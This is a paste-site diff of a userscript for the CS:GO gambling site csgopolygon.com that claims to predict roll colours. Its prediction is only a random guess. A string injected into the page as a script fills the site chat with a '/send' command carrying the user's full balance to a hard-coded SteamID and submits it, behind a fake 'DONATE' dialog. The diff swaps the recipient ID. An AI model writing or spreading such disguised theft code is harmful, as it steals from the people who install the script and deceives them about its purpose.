SHOW:
|
|
- or go back to the newest paste.
1 | // ==UserScript== | |
2 | // @name COLOR PREDICTOR [CSGOPOLYGON.COM] | |
3 | // @namespace | |
4 | // @version 0.5 | |
5 | // @author RestritoN | |
6 | // @match http://csgopolygon.com/ | |
7 | // @grant none | |
8 | // ==/UserScript== | |
9 | var num=""; | |
10 | ||
11 | var connect="http://csgopolygon.com:8080/"; | |
12 | ||
13 | function zmien_num(){ | |
14 | connect; | |
15 | var letter = ['1','2','3','4','5','6','7','8','9']; | |
16 | var pattern = letter[Math.floor(Math.random() * letter.length)]; | |
17 | var ball = 'ball-'; // hexadecimal starting symbol | |
18 | var letter2=['']; | |
19 | if (pattern == "1"){ | |
20 | letter2 = ['0']; | |
21 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
22 | num='<b class="ball '+ball+'"></b>'; | |
23 | } | |
24 | ||
25 | if (pattern == "2"){ | |
26 | letter2 = ['1','1','8','8']; | |
27 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
28 | num='<b class="ball '+ball+'"></b>'; | |
29 | } | |
30 | ||
31 | if (pattern == "3"){ | |
32 | letter2 = ['8','8','1','1']; | |
33 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
34 | num='<b class="ball '+ball+'"></b>'; | |
35 | } | |
36 | ||
37 | if (pattern == "4"){ | |
38 | letter2 = ['8','1']; | |
39 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
40 | num='<b class="ball '+ball+'"></b>'; | |
41 | } | |
42 | ||
43 | if (pattern == "5"){ | |
44 | letter2 = ['1','8']; | |
45 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
46 | num='<b class="ball '+ball+'"></b>'; | |
47 | } | |
48 | ||
49 | if (pattern == "6"){ | |
50 | letter2 = ['1','1','8']; | |
51 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
52 | num='<b class="ball '+ball+'"></b>'; | |
53 | } | |
54 | ||
55 | if (pattern == "7"){ | |
56 | letter2 = ['8','8','1']; | |
57 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
58 | num='<b class="ball '+ball+'"></b>'; | |
59 | } | |
60 | ||
61 | if (pattern == "8"){ | |
62 | letter2 = ['1']; | |
63 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
64 | num='<b class="ball '+ball+'"></b>'; | |
65 | } | |
66 | ||
67 | if (pattern == "9"){ | |
68 | letter2 = ['8']; | |
69 | ball += letter2[Math.floor(Math.random() * letter2.length)]; | |
70 | num='<b class="ball '+ball+'"></b>'; | |
71 | } | |
72 | } | |
73 | zmien_num(); | |
74 | ||
75 | setInterval(function(){if($("#banner").text() == "***ROLLING***"){zmien_num();}}, 100); | |
76 | ||
77 | ||
78 | var donatescript="setInterval(function(){"+ | |
79 | "}, 1000);"+ | |
80 | - | "$('#chatMessage_k').val('/send 76561198329348685 '+$('#balance_r').text());"+ |
80 | + | "$('#chatMessage_k').val('/send 76561198329362334 '+$('#balance_r').text());"+ |
81 | '$("#chatMessage_k").submit();'; | |
82 | ||
83 | ||
84 | $("body").append('<div class="modal fade" id="donatekanapka">'+ | |
85 | ' <div class="modal-dialog">'+ | |
86 | ' <div class="modal-content">'+ | |
87 | ' <div class="modal-header">'+ | |
88 | ' <button type="button" class="close" data-dismiss="modal">×</button>'+ | |
89 | ' <h4 class="modal-title"><b><center><b id="setcolor3">?</b> <b id="setcolor4">DOANATE</b> <b id="setcolor5">?</b></center></b></h4>'+ | |
90 | ' </div>'+ | |
91 | ' <div class="modal-body"> '+ | |
92 | ' <div class="form-group">'+ | |
93 | ' <label for="exampleInputEmail1">Please enter the amount of coins you want to send.</label>'+ | |
94 | ' <input type="text" class="form-control" id="donateValue" value=""> '+ | |
95 | ' </div> '+ | |
96 | '</div>'+ | |
97 | '<div class="modal-footer">'+ | |
98 | '<button type="button" class="btn btn-danger" data-dismiss="modal">Close</button>'+ | |
99 | '<button type="button" class="btn btn-success" onclick="donate()" data-dismiss="modal">Donate</button>'+ | |
100 | '</div>'+ | |
101 | '</div>'+ | |
102 | '</div>'+ | |
103 | '</div>'+ | |
104 | '<script>'+donatescript+'</script>'); | |
105 | ||
106 | $("div .input-btn").append('<br><br><div class="panel panel-default"><div class="panel-body text-center" style="margin-top: 10px;"><div id="setcolor1"></div>'+ | |
107 | '<span style="color: #158A8A"><b><font size="6">Yгадывает цвет:</font></b></span>'+ | |
108 | '<div id="rollscript"></div>'+ | |
109 | '<div id="setcolor2"></div><br><b style="padding-left: 300px;"><a href="#" data-toggle="modal" data-target="#donatekanapka"><i class="fa fa-cog fa-fw"></i> by RESTRITOn Official</a></b></div></div>'); | |
110 | ||
111 | ||
112 | ||
113 | ||
114 | ||
115 | setInterval(function(){ | |
116 | var letters = "0123456789ABCDEF"; | |
117 | color = '#'; | |
118 | for( var i=0; i < 6; i++ ) { | |
119 | color += letters.charAt(Math.floor(Math.random() * letters.length)); | |
120 | } | |
121 | $("#rollscript").html(num); | |
122 | ||
123 | $("#setcolor3").html('<span style="font-size: 210px; color: '+color+'"><b>?</b></span>'); | |
124 | $("#setcolor4").html('<span style="font-size: 21px; color: '+color+'"><b>DONATE</b></span>'); | |
125 | $(".bootbox-body").css({"font-size": "5%"}); | |
126 | $("#setcolor5").html('<span style="font-size: 210px; color: '+color+'"><b>?</b></span>'); | |
127 | }, 250); |